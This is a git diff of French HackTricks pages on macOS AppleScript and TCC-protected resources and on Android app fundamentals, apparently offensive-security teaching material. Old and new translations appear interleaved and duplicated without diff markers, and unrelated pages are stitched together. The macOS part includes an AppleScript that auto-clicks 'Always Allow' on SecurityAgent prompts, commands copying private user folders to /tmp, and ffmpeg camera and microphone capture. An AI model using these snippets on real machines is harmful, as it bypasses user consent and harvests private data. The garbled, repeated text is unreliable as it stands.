Il s'agit d'un langage de script utilisé pour l'automatisation des tâches **interagissant avec des processus distants**. Il est très facile de **demander à d'autres processus d'effectuer certaines actions**. Les **logiciels malveillants** peuvent exploiter ces fonctionnalités pour abuser des fonctions exportées par d'autres processus.\
Par exemple, un logiciel malveillant pourrait **injecter du code JS arbitraire dans les pages ouvertes du navigateur**. Ou **cliquer automatiquement** sur certaines autorisations demandées à l'utilisateur ;
C'est un langage de script utilisé pour l'automatisation des tâches **interagissant avec des processus distants**. Il rend assez facile de **demander à d'autres processus d'effectuer certaines actions**. Les **malwares** peuvent abuser de ces fonctionnalités pour abuser des fonctions exportées par d'autres processus.\
Par exemple, un malware pourrait **injecter du code JS arbitraire dans des pages ouvertes par le navigateur**. Ou **cliquer automatiquement** sur certaines autorisations demandées à l'utilisateur;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
```
Voici quelques exemples : [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Trouvez plus d'informations sur les logiciels malveillants utilisant des AppleScripts [**ici**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Trouvez plus d'informations sur les malwares utilisant les applescripts [**ici**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Les scripts Apple peuvent être facilement "**compilés**". Ces versions peuvent être facilement "**décompilées**" avec `osadecompile`.
Les scripts Apple peuvent être facilement "**compilés**". Ces versions peuvent être facilement "**décompilées**" avec `osadecompile`
Cependant, ces scripts peuvent également être **exportés en "Lecture seule"** (via l'option "Exporter...") :
@ -33,18 +35,22 @@ Cependant, ces scripts peuvent également être **exportés en "Lecture seule"**
file mal.scpt
mal.scpt: AppleScript compiled
```
Et dans ce cas, le contenu ne peut pas être décompilé même avec `osadecompile`.
```markdown
et dans ce cas, le contenu ne peut même pas être décompilé avec `osadecompile`
Cependant, il existe encore des outils qui peuvent être utilisés pour comprendre ce type d'exécutables, [**lisez cette recherche pour plus d'informations**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). L'outil [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) avec [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sera très utile pour comprendre le fonctionnement du script.
Cependant, il existe toujours des outils qui peuvent être utilisés pour comprendre ce type d'exécutables, [**lisez cette recherche pour plus d'informations**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). L'outil [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) avec [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sera très utile pour comprendre comment le script fonctionne.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```

View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -54,7 +56,7 @@ fclose(stderr); // Close the file stream
{% endtab %}
{% tab title="Shell" %}
Copiez `$HOME/Desktop` dans `/tmp/desktop`.
Copiez `$HOME/Desktop` vers `/tmp/desktop`.
```bash
cp -r "$HOME/Desktop" "/tmp/desktop"
```
@ -165,8 +167,8 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
* **TCC**: `kTCCServicePhotos`
{% tabs %}
{% tab title="ObjetiveC" %}
Copier `$HOME/Pictures/Photos Library.photoslibrary` vers `/tmp/photos`.
{% tab title="ObjectiveC" %}
Copier `$HOME/Pictures/Photos Library.photoslibrary` dans `/tmp/photos`.
```objectivec
#include <syslog.h>
#include <stdio.h>
@ -313,7 +315,7 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
{% tabs %}
{% tab title="ObjectiveC - Enregistrement" %}
Enregistrer une vidéo de 3s et la sauvegarder dans **`/tmp/recording.mov`**
Enregistrez une vidéo de 3s et sauvegardez-la dans **`/tmp/recording.mov`**
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -426,6 +428,7 @@ fclose(stderr); // Close the file stream
{% tab title="Shell" %}
Prendre une photo avec la caméra
{% endtab %}
```bash
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
```
@ -538,7 +541,7 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title="ObjectiveC - Vérification" %}
{% tab title="ObjectiveC - Check" %}
Vérifiez si l'application a accès au microphone.
```objectivec
#import <Foundation/Foundation.h>
@ -578,9 +581,6 @@ ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
```
{% endtab %}
{% endtabs %}
### Emplacement
{% hint style="success" %}
@ -891,17 +891,19 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
**L'accessibilité est une permission très puissante**, vous pourriez en abuser de différentes manières, par exemple, vous pourriez réaliser l'**attaque par frappes de touches** juste avec celle-ci sans avoir besoin d'appeler les Événements Système.
**L'accessibilité est une permission très puissante**, vous pourriez en abuser de différentes manières, par exemple vous pourriez réaliser l'**attaque par frappes de touches** juste avec celle-ci sans avoir besoin d'appeler les Événements Système.
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Souhaitez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,20 +1,22 @@
# Fondamentaux des applications Android
# Notions de base sur les applications Android
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives et trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,67 +26,68 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi
**Il y a deux couches :**
* Le **système d'exploitation**, qui isole les applications installées les unes des autres.
* L'**application elle-même**, qui permet aux développeurs de **exposer certaines fonctionnalités** et de configurer les capacités de l'application.
* Le **système d'exploitation**, qui maintient les applications installées isolées les unes des autres.
* L'**application elle-même**, qui permet aux développeurs d'**exposer certaines fonctionnalités** et configure les capacités de l'application.
### Séparation des UID
### Séparation UID
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela est fait lors de l'installation de l'application afin que l'application ne puisse interagir qu'avec les fichiers appartenant à son ID utilisateur ou les fichiers partagés. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
**Chaque application se voit attribuer un identifiant utilisateur spécifique**. Cela est fait lors de l'installation de l'application afin que **l'application ne puisse interagir qu'avec les fichiers appartenant à son identifiant utilisateur ou avec des fichiers partagés**. Par conséquent, seuls l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données de l'application.
### Partage des UID
### Partage UID
**Deux applications peuvent être configurées pour utiliser le même UID**. Cela peut être utile pour partager des informations, mais si l'une d'entre elles est compromise, les données des deux applications seront compromises. C'est pourquoi ce comportement est **déconseillé**.\
**Deux applications peuvent être configurées pour utiliser le même UID**. Cela peut être utile pour partager des informations, mais si l'une d'elles est compromise, les données des deux applications seront compromises. C'est pourquoi ce comportement est **découragé**.\
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId` dans leurs manifestes.**
### Isolation
### Sandbox
Le **bac à sable des applications Android** permet d'exécuter **chaque application** en tant que **processus distinct sous un ID utilisateur distinct**. Chaque processus a sa propre machine virtuelle, de sorte que le code d'une application s'exécute de manière isolée par rapport aux autres applications.\
À partir d'Android 5.0(L), **SELinux** est appliqué. Fondamentalement, SELinux refuse toutes les interactions entre les processus, puis crée des politiques pour **autoriser uniquement les interactions attendues entre eux**.
Le **bac à sable des applications Android** permet d'exécuter **chaque application** comme un **processus séparé sous un identifiant utilisateur séparé**. Chaque processus a sa propre machine virtuelle, donc le code d'une application s'exécute isolément des autres applications.\
À partir d'Android 5.0(L) **SELinux** est appliqué. En gros, SELinux a refusé toutes les interactions entre processus, puis a créé des politiques pour **autoriser uniquement les interactions attendues entre eux**.
### Autorisations
### Permissions
Lorsque vous installez une **application et qu'elle demande des autorisations**, l'application demande les autorisations configurées dans les éléments **`uses-permission`** du fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de l'autorisation demandée dans l'attribut **name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des autorisations sur les versions supérieures à celle spécifiée.\
Notez que les applications Android n'ont pas besoin de demander toutes les autorisations au début, elles peuvent également **demander des autorisations dynamiquement**, mais toutes les autorisations doivent être **déclarées** dans le **manifeste**.
Lorsque vous installez une **application et qu'elle demande des permissions**, l'application demande les permissions configurées dans les éléments **`uses-permission`** du fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de la permission demandée dans l'**attribut name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des permissions pour les versions supérieures à celle spécifiée.\
Notez que les applications Android n'ont pas besoin de demander toutes les permissions au début, elles peuvent également **demander des permissions de manière dynamique** mais toutes les permissions doivent être **déclarées** dans le **manifeste.**
Lorsqu'une application expose des fonctionnalités, elle peut limiter **l'accès uniquement aux applications qui ont une autorisation spécifiée**.\
Un élément d'autorisation a trois attributs :
Lorsqu'une application expose des fonctionnalités, elle peut limiter l'**accès uniquement aux applications disposant d'une permission spécifiée**.\
Un élément de permission a trois attributs :
* Le **nom** de l'autorisation
* L'attribut **permission-group**, qui permet de regrouper les autorisations connexes.
* Le **niveau de protection** qui indique comment les autorisations sont accordées. Il existe quatre types :
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur **n'est pas tenu d'approuver**.
* **Dangerous** : Indique que l'autorisation accorde à l'application demandant un **accès accru**. **Les utilisateurs sont invités à les approuver**.
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder l'autorisation. Il s'agit du type de protection le plus fort.
* **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications s'exécutant avec un accès de niveau système** peuvent se voir accorder des autorisations.
* Le **nom** de la permission
* L'attribut **permission-group**, qui permet de regrouper des permissions connexes.
* Le **niveau de protection** qui indique comment les permissions sont accordées. Il existe quatre types :
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas obligé de l'approuver**.
* **Dangereux** : Indique que la permission accorde à l'application demandant une **accessibilité élevée**. **Les utilisateurs sont invités à les approuver**.
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder la permission. C'est le type de protection le plus fort.
* **SignatureOuSystème** : Seules les **applications signées par le même certificat que celui** exportant le composant ou **les applications fonctionnant avec un accès au niveau du système** peuvent se voir accorder des permissions
## Applications préinstallées
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Il vaut la peine de vérifier ces applications car parfois elles s'exécutent avec **trop de permissions** (en tant que root).
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications méritent d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant que root).
* Celles livrées avec le **ROM** de l'AOSP (Android OpenSource Project)
* Ajoutées par le **fabricant** de l'appareil
* Ajoutées par le **fournisseur** de téléphonie mobile (si acheté chez eux)
* Celles livrées avec la **ROM AOSP** (Projet OpenSource Android)
* Ajoutées par le **fabricant de l'appareil**
* Ajoutées par le fournisseur de **téléphonie mobile** (si achetées chez eux)
## Rootage
## Rooting
Pour obtenir un accès root sur un appareil Android physique, vous avez généralement besoin d'**exploiter** 1 ou 2 **vulnérabilités** qui sont généralement **spécifiques** à l'appareil et à la version.\
Une fois que l'exploit a fonctionné, généralement le binaire Linux `su` est copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui sont généralement **spécifiques** à l'**appareil** et à la **version**.\
Une fois l'exploit réussi, généralement le binaire Linux `su` est copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
Une fois que le binaire su est configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles dans le Google Play Store).
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles dans le Google Play Store).
{% hint style="danger" %}
Notez que le processus de rootage est très dangereux et peut endommager gravement l'appareil.
Notez que le processus de rooting est très dangereux et peut endommager gravement l'appareil
{% endhint %}
### ROMs
Il est possible de **remplacer le système d'exploitation en installant un firmware personnalisé**. En faisant cela, il est possible d'étendre l'utilité d'un ancien appareil, contourner les restrictions logicielles ou accéder au code Android le plus récent.\
Il est possible de **remplacer le système d'exploitation en installant un firmware personnalisé**. Cela permet d'étendre l'utilité d'un ancien appareil, de contourner les restrictions logicielles ou d'accéder au dernier code Android.\
**OmniROM** et **LineageOS** sont deux des firmwares les plus populaires à utiliser.
Notez que **ce n'est pas toujours nécessaire de rooter l'appareil** pour installer un firmware personnalisé. **Certains fabricants permettent** le déverrouillage de leurs chargeurs d'amorçage de manière bien documentée et sécurisée.
Notez que **il n'est pas toujours nécessaire de rooter l'appareil** pour installer un firmware personnalisé. **Certains fabricants permettent** le déverrouillage de leurs chargeurs de démarrage de manière bien documentée et sûre.
### Implications
Une fois qu'un appareil est rooté, n'importe quelle application peut demander l'accès en tant que root. Si une application malveillante l'obtient, elle pourra avoir accès à presque tout et pourra endommager le téléphone.
Une fois qu'un appareil est rooté, n'importe quelle application peut demander un accès root. Si une application malveillante l'obtient, elle aura accès à presque tout et pourra endommager le téléphone.
## Fondamentaux des applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
@ -92,43 +95,43 @@ Cette introduction est tirée de [https://maddiestone.github.io/AndroidAppRE/app
### Révision des fondamentaux <a href="#fundamentals-review" id="fundamentals-review"></a>
* Les applications Android sont au format de fichier _APK_. **APK est essentiellement un fichier ZIP**. (Vous pouvez renommer l'extension du fichier en .zip et utiliser unzip pour l'ouvrir et voir son contenu.)
* Contenu de l'APK (non exhaustif)
* **AndroidManifest.xml**
* resources.arsc/strings.xml
* resources.arsc : un fichier contenant des ressources précompilées, telles que du XML binaire par exemple.
* res/xml/files\_paths.xml
* META-INF/
* Le certificat se trouve ici !
* **classes.dex**
* Le bytecode Dalvik pour l'application au format de fichier DEX. **C'est le code Java (ou Kotlin)** compilé que l'application exécutera par défaut.
* lib/
* Les bibliothèques natives de l'application se trouvent ici par défaut ! Sous le répertoire lib/, il y a les répertoires spécifiques au processeur.
* `armeabi` : code compilé pour tous les processeurs ARM uniquement
* `armeabi-v7a` : code compilé pour tous les processeurs ARMv7 et supérieurs uniquement
* `x86` : code compilé pour X86
* `mips` : code compilé pour les processeurs MIPS uniquement
* assets/
* Tout autre fichier pouvant être nécessaire à l'application.
* Des bibliothèques natives supplémentaires ou des fichiers DEX peuvent être inclus ici. Cela peut se produire notamment lorsque les auteurs de logiciels malveillants veulent essayer de "cacher" du code supplémentaire, natif ou Dalvik, en ne l'incluant pas aux emplacements par défaut.
* res/
* Le répertoire contenant les ressources non compilées dans resources.arsc
* Les applications Android sont au format de fichier _APK_. **APK est essentiellement un fichier ZIP**. (Vous pouvez renommer l'extension du fichier en .zip et utiliser unzip pour ouvrir et voir son contenu.)
* Contenu APK (Non exhaustif)
* **AndroidManifest.xml**
* resources.arsc/strings.xml
* resources.arsc : un fichier contenant des ressources précompilées, telles que du XML binaire par exemple.
* res/xml/files\_paths.xml
* META-INF/
* Le certificat vit ici !
* **classes.dex**
* Bytecode Dalvik pour l'application au format de fichier DEX. **C'est le code Java (ou Kotlin) compilé** que l'application exécutera par défaut.
* lib/
* Les bibliothèques natives pour l'application, par défaut, se trouvent ici ! Sous le répertoire lib/, il y a les répertoires spécifiques au processeur.
* `armeabi` : code compilé uniquement pour tous les processeurs basés sur ARM
* `armeabi-v7a` : code compilé uniquement pour tous les processeurs basés sur ARMv7 et supérieurs
* `x86` : code compilé pour X86
* `mips` : code compilé uniquement pour les processeurs MIPS
* assets/
* Tout autre fichier pouvant être nécessaire à l'application.
* Des bibliothèques natives supplémentaires ou des fichiers DEX peuvent être inclus ici. Cela peut se produire surtout lorsque les auteurs de logiciels malveillants veulent essayer de "cacher" du code supplémentaire, natif ou Dalvik, en ne l'incluant pas dans les emplacements par défaut.
* res/
* le répertoire contenant des ressources non compilées dans resources.arsc
### **Dalvik & Smali**
La plupart des applications Android sont écrites en Java. Kotlin est également pris en charge et interopérable avec Java. Pour simplifier, pour le reste de cet atelier, lorsque je parle de "Java", vous pouvez supposer que je veux dire "Java ou Kotlin". **Au lieu que le code Java s'exécute dans une machine virtuelle Java** (JVM) comme les applications de bureau, dans Android, le **Java est compilé en bytecode \_Dalvik Executable (DEX)**\_\* format\*\*. Pour les versions antérieures d'Android, le bytecode était traduit par la machine virtuelle Dalvik. Pour les versions plus récentes d'Android, l'Android Runtime (ART) est utilisé.\
Si les développeurs écrivent en Java et que le code est compilé en bytecode DEX, pour effectuer une rétro-ingénierie, nous travaillons dans la direction opposée.\
La plupart des applications Android sont écrites en Java. Kotlin est également pris en charge et interopérable avec Java. Pour simplifier, pour le reste de cet atelier, lorsque je fais référence à "Java", vous pouvez supposer que je veux dire "Java ou Kotlin". **Au lieu que le code Java soit exécuté dans la machine virtuelle Java** (JVM) comme les applications de bureau, sur Android, le **Java est compilé au format de bytecode \_Dalvik Executable (DEX)\_**. Pour les versions antérieures d'Android, le bytecode était traduit par la machine virtuelle Dalvik. Pour les versions plus récentes d'Android, le Runtime Android (ART) est utilisé.\
Si les développeurs écrivent en Java et que le code est compilé en bytecode DEX, pour la rétro-ingénierie, nous travaillons dans la direction opposée.\
\\
![Organigramme du processus du développeur. Java vers bytecode DEX](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![Organigramme du processus du développeur. Java en bytecode DEX](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
![Organigramme du processus de l'ingénieur inverse. Bytecode DEX vers SMALI vers Java décompilé](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
![Organigramme du processus de l'ingénieur inverse. Bytecode DEX en SMALI en Java décompilé](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
**Smali est la version lisible par l'homme du bytecode Dalvik**. Techniquement, Smali et baksmali sont les noms des outils (assembleur et désassembleur, respectivement), mais en Android, nous utilisons souvent le terme "Smali" pour désigner les instructions. Si vous avez déjà fait de la rétro-ingénierie ou de l'architecture informatique sur du code C/C++ compilé. **SMALI est comme le langage d'assemblage : entre le code source de plus haut niveau et le bytecode**.
